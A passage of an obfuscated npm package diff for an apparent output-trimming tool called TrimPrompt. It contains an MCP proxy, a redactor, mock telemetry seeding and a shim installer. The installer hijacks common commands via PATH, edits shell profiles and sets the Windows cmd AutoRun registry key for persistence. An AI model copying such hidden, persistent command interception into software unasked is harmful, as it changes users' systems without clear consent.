_0x8dd6ab)if(Object['prototype']['hasOwnProperty'][_0x43fef2(0x138)](_0x8dd6ab,_0x326b0d))_0x298eab[_0x298eab[_0x43fef2(0x163)]]=_0x326b0d;return _0x298eab;},_0x5a1139(_0x180925);};return function(_0x50ae34){const _0x2920c1=a0_0x5672;if(_0x50ae34&&_0x50ae34[_0x2920c1(0x152)])return _0x50ae34;var _0x347ea9={};if(_0x50ae34!=null){for(var _0x846167=_0x5a1139(_0x50ae34),_0x4fe552=0x0;_0x4fe552<_0x846167[_0x2920c1(0x163)];_0x4fe552++)if(_0x846167[_0x4fe552]!==_0x2920c1(0x161))__createBinding(_0x347ea9,_0x50ae34,_0x846167[_0x4fe552]);}return __setModuleDefault(_0x347ea9,_0x50ae34),_0x347ea9;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1ca336(0x14e)]=runMcpProxy;const child_process_1=require(a0_0x1ca336(0x147)),readline=__importStar(require(a0_0x1ca336(0x143))),filters_1=require(a0_0x1ca336(0x15a)),tracker_1=require(a0_0x1ca336(0x142));function runMcpProxy(_0x2fb390,_0x5a0043){const _0x2ebe1f=a0_0x1ca336,_0x5dcf99=(0x0,child_process_1[_0x2ebe1f(0x13e)])(_0x2fb390,_0x5a0043,{'stdio':[_0x2ebe1f(0x150),_0x2ebe1f(0x150),_0x2ebe1f(0x140)]});process[_0x2ebe1f(0x14a)][_0x2ebe1f(0x150)](_0x5dcf99[_0x2ebe1f(0x14a)]);const _0x1b1b78=readline[_0x2ebe1f(0x14b)]({'input':_0x5dcf99[_0x2ebe1f(0x13a)],'terminal':![]});_0x1b1b78['on']('line',_0x5109e8=>{const _0x2d3f43=_0x2ebe1f;try{const _0x5aa4bf=JSON[_0x2d3f43(0x156)](_0x5109e8);if(_0x5aa4bf&&_0x5aa4bf[_0x2d3f43(0x149)]===_0x2d3f43(0x148)&&_0x5aa4bf['id']!==undefined&&_0x5aa4bf[_0x2d3f43(0x155)]&&Array[_0x2d3f43(0x164)](_0x5aa4bf[_0x2d3f43(0x155)][_0x2d3f43(0x159)])){let _0xc370a5=![];for(const _0x5a8b37 of _0x5aa4bf[_0x2d3f43(0x155)][_0x2d3f43(0x159)]){if(_0x5a8b37[_0x2d3f43(0x154)]===_0x2d3f43(0x13f)&&typeof _0x5a8b37[_0x2d3f43(0x13f)]===_0x2d3f43(0x139)&&_0x5a8b37[_0x2d3f43(0x13f)][_0x2d3f43(0x14f)]()[_0x2d3f43(0x163)]>0x0){const _0x40c434=_0x5a8b37[_0x2d3f43(0x13f)],_0x4c28be=(0x0,filters_1[_0x2d3f43(0x14d)])(_0x2d3f43(0x15c),_0x40c434,'',tracker_1[_0x2d3f43(0x16b)][_0x2d3f43(0x13d)]()[_0x2d3f43(0x167)]);tracker_1['tracker'][_0x2d3f43(0x160)]('mcp\x20tool\x20(id:\x20'+_0x5aa4bf['id']+')',_0x40c434,_0x4c28be,0x0),_0x5a8b37['text']=_0x4c28be,_0xc370a5=!![];}}_0xc370a5?process['stdout'][_0x2d3f43(0x166)](JSON['stringify'](_0x5aa4bf)+'\x0a'):process[_0x2d3f43(0x13a)][_0x2d3f43(0x166)](_0x5109e8+'\x0a');}else process[_0x2d3f43(0x13a)]['write'](_0x5109e8+'\x0a');}catch{process['stdout'][_0x2d3f43(0x166)](_0x5109e8+'\x0a');}}),_0x5dcf99['on']('close',_0x38d8ec=>{const _0x108eda=_0x2ebe1f;process[_0x108eda(0x169)](_0x38d8ec||0x0);}),_0x5dcf99['on']('error',_0xd7beba=>{const _0x2e9446=_0x2ebe1f;console[_0x2e9446(0x153)](_0x2e9446(0x13c)+_0xd7beba[_0x2e9446(0x15e)]),process[_0x2e9446(0x169)](0x1);});}
|
package/package.json
CHANGED
package/redactor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x1edef7=a0_0x36e6;(function(_0x580aa8,_0x40e50e){const _0x5144e0=a0_0x36e6,_0x408d78=_0x580aa8();while(!![]){try{const _0x55301b=parseInt(_0x5144e0(0xea))/0x1*(-parseInt(_0x5144e0(0xe3))/0x2)+-parseInt(_0x5144e0(0xf4))/0x3*(parseInt(_0x5144e0(0xf1))/0x4)+-parseInt(_0x5144e0(0xdc))/0x5*(parseInt(_0x5144e0(0xde))/0x6)+parseInt(_0x5144e0(0xe8))/0x7+-parseInt(_0x5144e0(0xe0))/0x8*(-parseInt(_0x5144e0(0xef))/0x9)+-parseInt(_0x5144e0(0xf5))/0xa+-parseInt(_0x5144e0(0xe5))/0xb*(-parseInt(_0x5144e0(0xe6))/0xc);if(_0x55301b===_0x40e50e)break;else _0x408d78['push'](_0x408d78['shift']());}catch(_0x49d380){_0x408d78['push'](_0x408d78['shift']());}}}(a0_0x1083,0xd1da2));Object[a0_0x1edef7(0xe2)](exports,'__esModule',{'value':!![]}),exports[a0_0x1edef7(0xf0)]=exports['Redactor']=void 0x0;function a0_0x36e6(_0x443e20,_0x1c20db){_0x443e20=_0x443e20-0xdc;const _0x10831b=a0_0x1083();let _0x36e6bc=_0x10831b[_0x443e20];return _0x36e6bc;}class Redactor{[a0_0x1edef7(0xeb)]=[];constructor(){this['loadDefaultRules']();}[a0_0x1edef7(0xe7)](){const _0x1f5ece=a0_0x1edef7;this[_0x1f5ece(0xeb)]=[{'name':_0x1f5ece(0xec),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x1f5ece(0xe4)},{'name':_0x1f5ece(0xee),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x1f5ece(0xf3)},{'name':_0x1f5ece(0xed),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x1f5ece(0xdf)},{'name':_0x1f5ece(0xe9),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x1f5ece(0xdd)}];}['redact'](_0x3846dc){const _0x27bff0=a0_0x1edef7;let _0x409180=_0x3846dc;for(const _0x451f4a of this[_0x27bff0(0xeb)]){_0x409180=_0x409180[_0x27bff0(0xf2)](_0x451f4a['regex'],_0x451f4a['replacement']);}return _0x409180;}}function a0_0x1083(){const _0x2de5c0=['5601416Ejcciq','replace','$1:\x20[REDACTED_CREDENTIAL]','3JDPJvO','16855420iTdwEf','10kEzWLf','[REDACTED_EMAIL]','3555996FKFiPi','[REDACTED_IP]','1024QlzQnF','Redactor','defineProperty','2AZlZps','[REDACTED_DB_CONNECTION_STRING]','26708ODxbey','23244hXVnVl','loadDefaultRules','2231649ViKSlq','Email\x20Address','999029RwjnLE','rules','Database\x20Connection\x20String','IPv4\x20Address','API\x20Key\x20or\x20Password','77904rQNTVB','redactor'];a0_0x1083=function(){return _0x2de5c0;};return a0_0x1083();}exports[a0_0x1edef7(0xe1)]=Redactor,exports[a0_0x1edef7(0xf0)]=new Redactor();
|
package/seed.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';const a0_0x490ebe=a0_0x2f16;(function(_0x6d3703,_0x362bd9){const _0x514658=a0_0x2f16,_0x21bfcb=_0x6d3703();while(!![]){try{const _0x3eeacd=-parseInt(_0x514658(0xfa))/0x1*(parseInt(_0x514658(0x108))/0x2)+-parseInt(_0x514658(0x111))/0x3*(-parseInt(_0x514658(0x10a))/0x4)+parseInt(_0x514658(0x102))/0x5+-parseInt(_0x514658(0x101))/0x6+-parseInt(_0x514658(0x10c))/0x7*(parseInt(_0x514658(0xf6))/0x8)+parseInt(_0x514658(0xfc))/0x9*(parseInt(_0x514658(0xf2))/0xa)+parseInt(_0x514658(0x104))/0xb;if(_0x3eeacd===_0x362bd9)break;else _0x21bfcb['push'](_0x21bfcb['shift']());}catch(_0x2bd774){_0x21bfcb['push'](_0x21bfcb['shift']());}}}(a0_0x2c54,0x4ec3d));function a0_0x2c54(){const _0x448ccb=['170cpXLfm','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','4EGcSIG','gemini-1-5-pro','1015847YFMvUU','logExecution','pytest\x20tests/app','./tracker','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','434670wMwrQB','test_auth.py\x20PASS\x0a','claude-3-opus','docker\x20build\x20.','npm\x20run\x20build','tracker','8890OuRJPN','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','[INFO]\x20Building\x20modules...\x0a','log','8yStttE','defineProperty','gpt-4o','test_db.py\x20PASS\x0a','2705nTRwge','repeat','2457JPMIZW','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','__esModule','test_api.py\x20PASS\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','3617508CLgNkN','41475pnoocT','Compilation\x20Output:\x0a','9951733qXCTlT','Test\x20suite\x20run\x20starting...\x0a','Database\x20successfully\x20seeded!','Successfully\x20built\x20image.'];a0_0x2c54=function(){return _0x448ccb;};return a0_0x2c54();}Object[a0_0x490ebe(0xf7)](exports,a0_0x490ebe(0xfe),{'value':!![]});function a0_0x2f16(_0x4b9f31,_0xebd5f9){_0x4b9f31=_0x4b9f31-0xf1;const _0x2c54df=a0_0x2c54();let _0x2f169c=_0x2c54df[_0x4b9f31];return _0x2f169c;}const tracker_1=require(a0_0x490ebe(0x10f));console[a0_0x490ebe(0xf5)](a0_0x490ebe(0x109)),process.env.TRIMPROMPT_MODEL=a0_0x490ebe(0x113),tracker_1[a0_0x490ebe(0xf1)][a0_0x490ebe(0x10d)](a0_0x490ebe(0x115),a0_0x490ebe(0x103)+a0_0x490ebe(0xf4)+'Optimizing\x20assets...\x0a'+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x490ebe(0xfb)](0x190),a0_0x490ebe(0xf3),0x0),process.env.TRIMPROMPT_MODEL=a0_0x490ebe(0xf8),tracker_1[a0_0x490ebe(0xf1)][a0_0x490ebe(0x10d)](a0_0x490ebe(0x10e),a0_0x490ebe(0x105)+a0_0x490ebe(0x112)+a0_0x490ebe(0xf9)+a0_0x490ebe(0xff)[a0_0x490ebe(0xfb)](0x12c)+a0_0x490ebe(0x100),a0_0x490ebe(0x110),0x0),process.env.TRIMPROMPT_MODEL=a0_0x490ebe(0x10b),tracker_1[a0_0x490ebe(0xf1)][a0_0x490ebe(0x10d)](a0_0x490ebe(0x114),'Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a'+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+'Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a'+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x490ebe(0xfb)](0x3)+a0_0x490ebe(0x107),a0_0x490ebe(0xfd),0x0),console[a0_0x490ebe(0xf5)](a0_0x490ebe(0x106));
|
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x270dd9=a0_0x4300;(function(_0x43e233,_0x18ce6f){const _0x271653=a0_0x4300,_0x146c01=_0x43e233();while(!![]){try{const _0x352181=parseInt(_0x271653(0x217))/0x1+-parseInt(_0x271653(0x232))/0x2*(-parseInt(_0x271653(0x202))/0x3)+parseInt(_0x271653(0x20d))/0x4*(-parseInt(_0x271653(0x233))/0x5)+parseInt(_0x271653(0x20f))/0x6+-parseInt(_0x271653(0x224))/0x7*(parseInt(_0x271653(0x253))/0x8)+parseInt(_0x271653(0x1f6))/0x9*(-parseInt(_0x271653(0x250))/0xa)+-parseInt(_0x271653(0x23b))/0xb*(-parseInt(_0x271653(0x209))/0xc);if(_0x352181===_0x18ce6f)break;else _0x146c01['push'](_0x146c01['shift']());}catch(_0x5af6a6){_0x146c01['push'](_0x146c01['shift']());}}}(a0_0x5859,0xd8cc4));var __createBinding=this&&this[a0_0x270dd9(0x221)]||(Object[a0_0x270dd9(0x246)]?function(_0x4bc981,_0x1bf74b,_0x4ff895,_0x4dc05d){const _0x48ad93=a0_0x270dd9;if(_0x4dc05d===undefined)_0x4dc05d=_0x4ff895;var _0x3005c0=Object[_0x48ad93(0x254)](_0x1bf74b,_0x4ff895);(!_0x3005c0||(_0x48ad93(0x227)in _0x3005c0?!_0x1bf74b[_0x48ad93(0x1fb)]:_0x3005c0[_0x48ad93(0x24d)]||_0x3005c0['configurable']))&&(_0x3005c0={'enumerable':!![],'get':function(){return _0x1bf74b[_0x4ff895];}}),Object[_0x48ad93(0x244)](_0x4bc981,_0x4dc05d,_0x3005c0);}:function(_0x555d0b,_0x179c0b,_0x29a9ea,_0x8f393c){if(_0x8f393c===undefined)_0x8f393c=_0x29a9ea;_0x555d0b[_0x8f393c]=_0x179c0b[_0x29a9ea];}),__setModuleDefault=this&&this[a0_0x270dd9(0x21c)]||(Object[a0_0x270dd9(0x246)]?function(_0xc241e0,_0x8d6e0a){const _0x42f570=a0_0x270dd9;Object[_0x42f570(0x244)](_0xc241e0,_0x42f570(0x1fd),{'enumerable':!![],'value':_0x8d6e0a});}:function(_0x3c3f82,_0x1d1088){_0x3c3f82['default']=_0x1d1088;}),__importStar=this&&this['__importStar']||(function(){var _0x3daa54=function(_0x1756eb){return _0x3daa54=Object['getOwnPropertyNames']||function(_0x3302fa){const _0x2ee588=a0_0x4300;var _0x5b3a5c=[];for(var _0x21495f in _0x3302fa)if(Object[_0x2ee588(0x247)][_0x2ee588(0x20a)][_0x2ee588(0x1ef)](_0x3302fa,_0x21495f))_0x5b3a5c[_0x5b3a5c[_0x2ee588(0x212)]]=_0x21495f;return _0x5b3a5c;},_0x3daa54(_0x1756eb);};return function(_0x250505){const _0x3aa256=a0_0x4300;if(_0x250505&&_0x250505[_0x3aa256(0x1fb)])return _0x250505;var _0x4b9a11={};if(_0x250505!=null){for(var _0x48e0fe=_0x3daa54(_0x250505),_0x59fe04=0x0;_0x59fe04<_0x48e0fe[_0x3aa256(0x212)];_0x59fe04++)if(_0x48e0fe[_0x59fe04]!==_0x3aa256(0x1fd))__createBinding(_0x4b9a11,_0x250505,_0x48e0fe[_0x59fe04]);}return __setModuleDefault(_0x4b9a11,_0x250505),_0x4b9a11;};}());Object['defineProperty'](exports,a0_0x270dd9(0x1fb),{'value':!![]}),exports[a0_0x270dd9(0x20e)]=installShims,exports[a0_0x270dd9(0x240)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x270dd9(0x208))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x270dd9(0x22f),a0_0x270dd9(0x1f0),a0_0x270dd9(0x213),a0_0x270dd9(0x229),'rg',a0_0x270dd9(0x267),a0_0x270dd9(0x222),'gh',a0_0x270dd9(0x234),'cargo',a0_0x270dd9(0x205),a0_0x270dd9(0x242),a0_0x270dd9(0x262),'yarn',a0_0x270dd9(0x225),a0_0x270dd9(0x226),a0_0x270dd9(0x20b),a0_0x270dd9(0x235),a0_0x270dd9(0x24a),'go'],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function a0_0x5859(){const _0xc209f4=['\x20\x22$@\x22;\x20fi\x0a','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','pipe','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','__setModuleDefault','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22',';=%\x22','\x20\x20set\x20\x22PATH=%PATH:','toLowerCase','__createBinding','git',';\x22\x20+\x20$env:PATH\x0a','466816RRTKta','kubectl','docker','get','trim.ps1','grep','755','join','\x0a#\x20',')\x20else\x20(','existsSync','tree',';%PATH%\x22','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','6XRbiGt','5pdMDUC','glab','pip','ignore','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','powershell.exe','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','filter','3343087JtbFlR','execFileSync','-NoProfile','\x20%*','export\x20PATH=\x22','uninstallShims','\x0a$env:PATH\x20=\x20\x22','pnpm','.trimprompt','defineProperty','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','create','prototype','Failed\x20to\x20install\x20shims:\x20','\x20@args\x20}\x20else\x20{\x20&\x20','pip3','\x27,\x20\x27User\x27)','trim','writable','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','1540GJmPQd','includes','writeFileSync','168ldbucn','getOwnPropertyDescriptor','chmodSync','\x20commands.\x0a\x0a','Failed\x20to\x20uninstall\x20shims:\x20','split','$PROFILE.CurrentUserAllHosts','\x0aexport\x20PATH=\x22','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','shims','rmdirSync','.zshrc','win32','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','npx','push','.cmd','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','replace','ruff','message','\x20@args\x20}\x0a','homedir','New-Item\x20-Path\x20\x27','call','cat','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','utf8','.profile','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','powershell','94545fkpoGb','some','readdirSync','\x20\x20trim\x20','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','__esModule','\x20&\x20','default','pwsh','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27',':$PATH\x22\x0a','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','1688613EuPYwQ','unlinkSync','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','npm','.bashrc','if\x20exist\x20\x22','path','60Othvpr','hasOwnProperty','pytest','child_process','5259668lPoufZ','installShims','4908726VnEAVS','.bash_profile','powershell\x20-NoProfile\x20-Command\x20\x22','length','read','-Command',':$PATH\x22','platform','1194820vQZFKm'];a0_0x5859=function(){return _0xc209f4;};return a0_0x5859();}function a0_0x4300(_0xa18f87,_0xb4ce15){_0xa18f87=_0xa18f87-0x1ed;const _0x5859a6=a0_0x5859();let _0x430058=_0x5859a6[_0xa18f87];return _0x430058;}function getExecSync(){const _0x4d1e38=a0_0x270dd9;return require(_0x4d1e38(0x20c))['execSync'];}function getExecFileSync(){const _0x78d2f2=a0_0x270dd9;return require(_0x78d2f2(0x20c))[_0x78d2f2(0x23c)];}function ensureProfileContains(_0x3cb769,_0x566be2,_0x220a06){const _0x6e0a7c=a0_0x270dd9;try{const _0x31d167=path['dirname'](_0x3cb769);!fs[_0x6e0a7c(0x22e)](_0x31d167)&&fs['mkdirSync'](_0x31d167,{'recursive':!![]});if(fs[_0x6e0a7c(0x22e)](_0x3cb769)){const _0x535bc2=fs['readFileSync'](_0x3cb769,_0x6e0a7c(0x1f2));if(_0x535bc2[_0x6e0a7c(0x251)](_0x566be2))return;fs['appendFileSync'](_0x3cb769,_0x220a06,'utf8');}else fs[_0x6e0a7c(0x252)](_0x3cb769,_0x220a06,_0x6e0a7c(0x1f2));}catch{}}function removeProfileBlock(_0x6b26c8,_0x283da1){const _0x4672a9=a0_0x270dd9;try{if(!fs[_0x4672a9(0x22e)](_0x6b26c8))return;const _0x17225e=fs['readFileSync'](_0x6b26c8,_0x4672a9(0x1f2));if(!_0x17225e[_0x4672a9(0x251)](_0x283da1))return;const _0x20276f=_0x17225e[_0x4672a9(0x258)]('\x0a'),_0x13ff85=[];let _0x33ac93=![];for(let _0x270715=0x0;_0x270715<_0x20276f[_0x4672a9(0x212)];_0x270715++){if(_0x20276f[_0x270715][_0x4672a9(0x251)](_0x283da1)){_0x33ac93=!![];continue;}if(_0x33ac93){_0x33ac93=![];continue;}_0x13ff85[_0x4672a9(0x263)](_0x20276f[_0x270715]);}const _0x477cfb=_0x13ff85[_0x4672a9(0x22b)]('\x0a')[_0x4672a9(0x266)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x6b26c8,_0x477cfb,_0x4672a9(0x1f2));}catch{}}function collectPowerShellProfiles(){const _0x2ece85=a0_0x270dd9,_0x5913c2=getExecSync(),_0x547024=[],_0x30baff=[[_0x2ece85(0x1f5),'$PROFILE.CurrentUserCurrentHost'],['powershell',_0x2ece85(0x259)]];try{_0x5913c2('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x2ece85(0x236)}),_0x30baff['push']([_0x2ece85(0x1fe),_0x2ece85(0x259)]);}catch{}for(const [_0x397c43,_0x2469a9]of _0x30baff){try{const _0x570130=_0x5913c2(_0x397c43+'\x20-NoProfile\x20-Command\x20\x22'+_0x2469a9+'\x22',{'encoding':_0x2ece85(0x1f2)})[_0x2ece85(0x24c)]();_0x570130&&!_0x547024[_0x2ece85(0x1f7)](_0x34e73a=>_0x34e73a[_0x2ece85(0x220)]()===_0x570130['toLowerCase']())&&_0x547024['push'](_0x570130);}catch{}}return _0x547024;}function getBashProfilesWindows(){const _0x3ac711=a0_0x270dd9,_0x3086ed=os['homedir']();return[_0x3ac711(0x206),'.bash_profile']['map'](_0x1a709e=>path[_0x3ac711(0x22b)](_0x3086ed,_0x1a709e));}function getBroadcastCommand(){const _0xc563ca=a0_0x270dd9;return _0xc563ca(0x1f4);}function installShims(){const _0x3de8a8=a0_0x270dd9,_0x342adb=path[_0x3de8a8(0x22b)](os[_0x3de8a8(0x1ed)](),_0x3de8a8(0x243),'shims');try{!fs['existsSync'](_0x342adb)&&fs['mkdirSync'](_0x342adb,{'recursive':!![]});const _0x1171b5=os[_0x3de8a8(0x216)]()==='win32';for(const _0x4a43f4 of SHIMMED_COMMANDS){if(_0x1171b5){const _0x8223f6=path['join'](_0x342adb,_0x4a43f4+_0x3de8a8(0x264)),_0x98261b=process.env.APPDATA?path[_0x3de8a8(0x22b)](process.env.APPDATA,_0x3de8a8(0x205)):'',_0x434037=_0x98261b?_0x3de8a8(0x207)+path[_0x3de8a8(0x22b)](_0x98261b,'trim.cmd')+'\x22':_0x3de8a8(0x237),_0x345563=['@echo\x20off',_0x434037+'\x20(',_0x3de8a8(0x1f9)+_0x4a43f4+_0x3de8a8(0x23e),_0x3de8a8(0x22d),_0x3de8a8(0x21f)+_0x342adb+_0x3de8a8(0x21e),'\x20\x20'+_0x4a43f4+_0x3de8a8(0x23e),')']['join']('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0x8223f6,_0x345563,_0x3de8a8(0x1f2));const _0x4cebd0=path[_0x3de8a8(0x22b)](_0x342adb,_0x4a43f4+'.ps1'),_0xb83e08=_0x3de8a8(0x1fa)+_0x4a43f4+_0x3de8a8(0x249)+_0x4a43f4+_0x3de8a8(0x269);fs[_0x3de8a8(0x252)](_0x4cebd0,_0xb83e08,_0x3de8a8(0x1f2));const _0x360933=path[_0x3de8a8(0x22b)](_0x342adb,_0x4a43f4),_0x5649eb=_0x342adb['replace'](/\\/g,'/')[_0x3de8a8(0x266)](/^([A-Za-z]):/,(_0x14fb16,_0x26253f)=>'/'+_0x26253f['toLowerCase']()),_0x10fc5d=_0x3de8a8(0x21b)+_0x4a43f4+_0x3de8a8(0x204)+_0x5649eb+':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x4a43f4+_0x3de8a8(0x218);fs[_0x3de8a8(0x252)](_0x360933,_0x10fc5d,_0x3de8a8(0x1f2));}else{const _0x42e283=path[_0x3de8a8(0x22b)](_0x342adb,_0x4a43f4),_0x27f616=_0x3de8a8(0x21b)+_0x4a43f4+_0x3de8a8(0x25b)+_0x4a43f4+_0x3de8a8(0x218);fs[_0x3de8a8(0x252)](_0x42e283,_0x27f616,'utf8'),fs[_0x3de8a8(0x255)](_0x42e283,_0x3de8a8(0x22a));}}let _0x4d0f4c=![],_0x203bf1='';if(_0x1171b5)try{const _0x3a7350=getExecSync(),_0x63acad=_0x3de8a8(0x22c)+PROFILE_MARKER+_0x3de8a8(0x241)+_0x342adb+_0x3de8a8(0x223),_0x19c60b=collectPowerShellProfiles();for(const _0x3df8f0 of _0x19c60b){ensureProfileContains(_0x3df8f0,_0x342adb,_0x63acad);}try{const _0x2dc842=getExecFileSync(),_0x2fe6a0=_0x3de8a8(0x207)+_0x342adb+'\x22\x20set\x20\x22PATH='+_0x342adb+_0x3de8a8(0x230),_0x1f0659=_0x3de8a8(0x231);let _0x3ce7ce='';try{const _0x2cf688='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1f0659+_0x3de8a8(0x219);_0x3ce7ce=_0x2dc842('powershell.exe',['-NoProfile',_0x3de8a8(0x214),_0x2cf688],{'encoding':_0x3de8a8(0x1f2),'stdio':[_0x3de8a8(0x21a),'pipe',_0x3de8a8(0x236)]})['trim']();}catch{}if(!_0x3ce7ce[_0x3de8a8(0x251)](_0x342adb)){const _0xdff94d=_0x3ce7ce?_0x3ce7ce+_0x3de8a8(0x1fc)+_0x2fe6a0:_0x2fe6a0,_0x3d5a3c=_0x3de8a8(0x1ee)+_0x1f0659+_0x3de8a8(0x24f)+_0x1f0659+_0x3de8a8(0x1ff)+_0xdff94d+'\x27';_0x2dc842(_0x3de8a8(0x238),[_0x3de8a8(0x23d),_0x3de8a8(0x214),_0x3d5a3c],{'stdio':_0x3de8a8(0x236)});}}catch{}try{const _0x19da4e=_0x342adb[_0x3de8a8(0x266)](/\\/g,'/')[_0x3de8a8(0x266)](/^([A-Za-z]):/,(_0x1f8d4a,_0x2ebeb7)=>'/'+_0x2ebeb7[_0x3de8a8(0x220)]()),_0x1092de=_0x3de8a8(0x22c)+PROFILE_MARKER+_0x3de8a8(0x25a)+_0x19da4e+_0x3de8a8(0x200),_0x229d5a=getBashProfilesWindows();let _0x16016a=![];for(const _0x3e5c87 of _0x229d5a){fs[_0x3de8a8(0x22e)](_0x3e5c87)&&(ensureProfileContains(_0x3e5c87,_0x19da4e,_0x1092de),_0x16016a=!![]);}!_0x16016a&&ensureProfileContains(_0x229d5a[0x0],_0x19da4e,_0x1092de);}catch{}const _0x2c570d=_0x3de8a8(0x261),_0x1a5445=_0x3a7350(_0x3de8a8(0x211)+_0x2c570d+'\x22',{'encoding':_0x3de8a8(0x1f2),'stdio':['pipe','pipe',_0x3de8a8(0x236)]})[_0x3de8a8(0x24c)]();if(!_0x1a5445['includes'](_0x342adb)){const _0x471934=_0x342adb+';'+_0x1a5445,_0x2c3f4f=_0x471934[_0x3de8a8(0x266)](/'/g,'\x27\x27'),_0x3b71e4=_0x3de8a8(0x245)+_0x2c3f4f+_0x3de8a8(0x24b);_0x3a7350(_0x3de8a8(0x211)+_0x3b71e4+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3de8a8(0x236)});}const _0x5800d0=path[_0x3de8a8(0x22b)](process.env.APPDATA||'',_0x3de8a8(0x205),_0x3de8a8(0x228));if(fs['existsSync'](_0x5800d0))try{fs[_0x3de8a8(0x203)](_0x5800d0);}catch{}_0x4d0f4c=!![];}catch(_0x5480df){_0x203bf1='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x342adb;}else try{const _0x467ceb=_0x3de8a8(0x23f)+_0x342adb+_0x3de8a8(0x200),_0x2c0a39=os[_0x3de8a8(0x1ed)](),_0x5cb147=[_0x3de8a8(0x206),_0x3de8a8(0x25f),_0x3de8a8(0x210),'.profile'];let _0x6cd33a=![];for(const _0x5e2acf of _0x5cb147){const 